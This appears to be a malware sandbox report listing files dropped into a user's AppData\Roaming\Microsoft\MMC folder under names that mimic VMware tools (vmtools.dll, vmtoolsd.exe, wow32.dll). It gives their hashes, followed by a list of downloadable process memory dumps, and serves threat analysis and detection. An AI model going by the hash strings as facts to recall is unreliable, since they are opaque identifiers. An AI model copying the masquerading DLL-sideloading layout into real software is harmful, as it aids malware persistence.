T1A2C38D4572A042F7D17AD274C1A36A17FB75B94487A0A3CF03B58A650F13BE0AE3D396
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vmtools.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vmtools.dll
Size 821KB
SHA256 4504dee573d0b4655da2362d89532fa30ddffbfb3e95575bfa0aac6684138553
MD5 4d4b930faf6661312a64403b2b4552af
SHA1 1133ab90824fc97dadaed42f17955bee6744a632
SHA512 d3978639925ea64874e5f199d36b9b180c9420841fae940a5d6868dd5cf681e1d2f4850a04e61d401adb2302695fcf4d43c4056c1ba12b4b4a14f04cb0bb29a6
SSDEEP 12288:XyvmgIAuZfO31utAZdFbUQ+S6bsAE/Ep0M5Lxi7cIEooeOy+VcEL:XyvmgGmlut6b+S6REMp0MewIEAOyyvL
TLSH
T191057C56BBA505ACD46B813885538332F7B1B8150361E7DF12A4D679EF3BBD2223EB40
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vmtoolsd.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vmtoolsd.exe
Size 91KB
SHA256 61d4473cff983c93df36b127c87fa682de89b49858723a22b814483632559556
MD5 79db0282759a3b4dce94902bdeaf81b2
SHA1 643da9772f361847e44e9bd3a9e39cb4ebea3121
SHA512 966eaafced9e59ca31993bda5b1548ea23c7542d3978dfed2e8332e66a04700553e0ae99791edec408f88e8f8ab7c03de17ca825f49085dcc8588664f22bffcb
SSDEEP 1536:LwNQwJyJDB/sru6l6czXcs2R8/8LEwHcbrFa5ddZ9ZkAekT5ZQfWiy/0B:MC5/WuXWXL2R8/8LVHcbrU5dd/ZkAOfL
TLSH
T1AC935C96739800C5CCA6857891629113EBF1FD641BA592CF0760F31A0FB7AF57B39B0A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vvaS.bin

Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vvaS.bin
Size 1KB
SHA256 d2cd89ca07d8f6706f3bb20277aa480e1cf43eaa9e4c9695922f45d44a2c14f3
MD5 7b790d3648eaea77c68390a7fd359af6
SHA1 6ef866aa372710d955b037b01f1c2524a2f9c9c3
SHA512 cdb044ce37fc0036ee7cf7de3f9b9b80aff900dbc79c717717aa85c1cf87457541da55117931a50a92cc9961cc9904da3c16e4d263d66f8e12389ef35abbe37e
TLSH
T15A3152EFD2B644EE38947066F8A49C2CA7D0CF9F0F705244E5F83694F39B8075A54684
MD5 SHA1 SHA512 TLSH

Submit Download

vvvv.ico

Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vvvv.ico
Size 24KB
SHA256 a19d74c45f5e5f899f932e5917b973e14c00284d39bdbbd92e73c830da68e0ee
MD5 212c945df6c8154d43b9b17fb86e8461
SHA1 484e6d536b1dbae11121a39f7de193b2a8d05bed
SHA512 a17833c3937eeae2c4cdca51650e6de02bb10476eb41ff29484c68c8fbc23e6a0b7e22d78bbbcb78e2c3518c9790749e71cb68de3c579bd0241cd23aac0f8c62
SSDEEP 768:nlgR59GEt3rMLwpumnCJSk5+D/IZNfnskCCo6:nU5zYUomM5iAZZsOX
TLSH
T1BAB2F143613A2E48D1F4E7C072C30FDDBEAD116E6515BC9B09A34A339D85609D8182E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wow32.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\MMC\wow32.dll
Size 510KB
SHA256 29fc393b56fcfa4a242c7bc5177b0861072f35c7c8be2546115e0f34d059e2bf
MD5 47fe0ab041a9c28fe838eb1b11556e33
SHA1 b7128f679230730cf477f3c081235de118c98960
SHA512 7191170e244dac3b176bf89c67511b5938751471d84f73c58c3ff7fef3e6e1e70c3af5d3143cf3b66be461152b80845231fc6a3fafc31328193d47edd2961a40
SSDEEP 12288:FAU5XKwOovaQZn1SkrBL5oTT548c/ZpsxSceH8b+FTuH6rD7:FH7vaQZn1Sw5oTspszK8K77
TLSH
T1CBB4AE217541C136D56F02305D78EBAB01BD7A600B7595EFBBD84A3E6EF01C26B31A2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2968-26-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/2968-6-0x00000292BFD70000-0x00000292BFD92000-memory.dmp

Download

memory/2968-35-0x00000292C0280000-0x00000292C028A000-memory.dmp

Download

memory/2968-36-0x00000292C02A0000-0x00000292C02B2000-memory.dmp

Download

memory/2968-37-0x00000292C0290000-0x00000292C029A000-memory.dmp

Download

memory/2968-33-0x00000292C02A0000-0x00000292C02BE000-memory.dmp

Download

memory/2968-28-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/2968-27-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/2968-2-0x00007FFD609FF000-0x00007FFD60A00000-memory.dmp

Download

memory/2968-25-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/2968-17-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/2968-16-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/2968-15-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/2968-14-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/2968-13-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/2968-169-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/2968-12-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/2968-11-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/2968-10-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/2968-9-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/2968-8-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/2968-7-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/2968-5-0x00007FFD60870000-0x00007FFD61214000-memory.dmp

Download

memory/2968-34-0x00000292C02C0000-0x00000292C0372000-memory.dmp

Download

memory/3232-189-0x0000000002970000-0x00000000029CB000-memory.dmp

Download

memory/3232-181-0x0000000002160000-0x0000000002180000-memory.dmp

Download

memory/3232-180-0x0000000002160000-0x0000000002180000-memory.dmp

Download

memory/3232-197-0x0000000002160000-0x0000000002180000-memory.dmp

Download

memory/3232-190-0x0000000002970000-0x00000000029CB000-memory.dmp

Download

memory/3232-179-0x0000000002160000-0x0000000002180000-memory.dmp

Download

memory/3232-185-0x0000000002160000-0x0000000002180000-memory.dmp

Download

memory/3232-186-0x0000000002970000-0x00000000029CB000-memory.dmp

Download

memory/3232-187-0x0000000002970000-0x00000000029CB000-memory.dmp

Download

memory/3232-188-0x0000000002970000-0x00000000029CB000-memory.dmp

Download

memory/5972-183-0x0000000002CA0000-0x0000000002CC0000-memory.dmp

Download

memory/5972-184-0x0000000002CA0000-0x0000000002CC0000-memory.dmp

Download

memory/5972-193-0x00000000034B0000-0x000000000350B000-memory.dmp

Download

memory/5972-192-0x00000000034B0000-0x000000000350B000-memory.dmp

Download

memory/5972-191-0x0000000002CA0000-0x0000000002CC0000-memory.dmp

Download

memory/5972-195-0x00000000034B0000-0x000000000350B000-memory.dmp

Download

memory/5972-194-0x00000000034B0000-0x000000000350B000-memory.dmp

Download

memory/5972-196-0x00000000034B0000-0x000000000350B000-memory.dmp

Download

memory/5972-182-0x0000000002CA0000-0x0000000002CC0000-memory.dmp

Download

memory/5972-199-0x0000000002CA0000-0x0000000002CC0000-memory.dmp

Download

memory/5972-200-0x0000000002CA0000-0x0000000002CC0000-memory.dmp

Download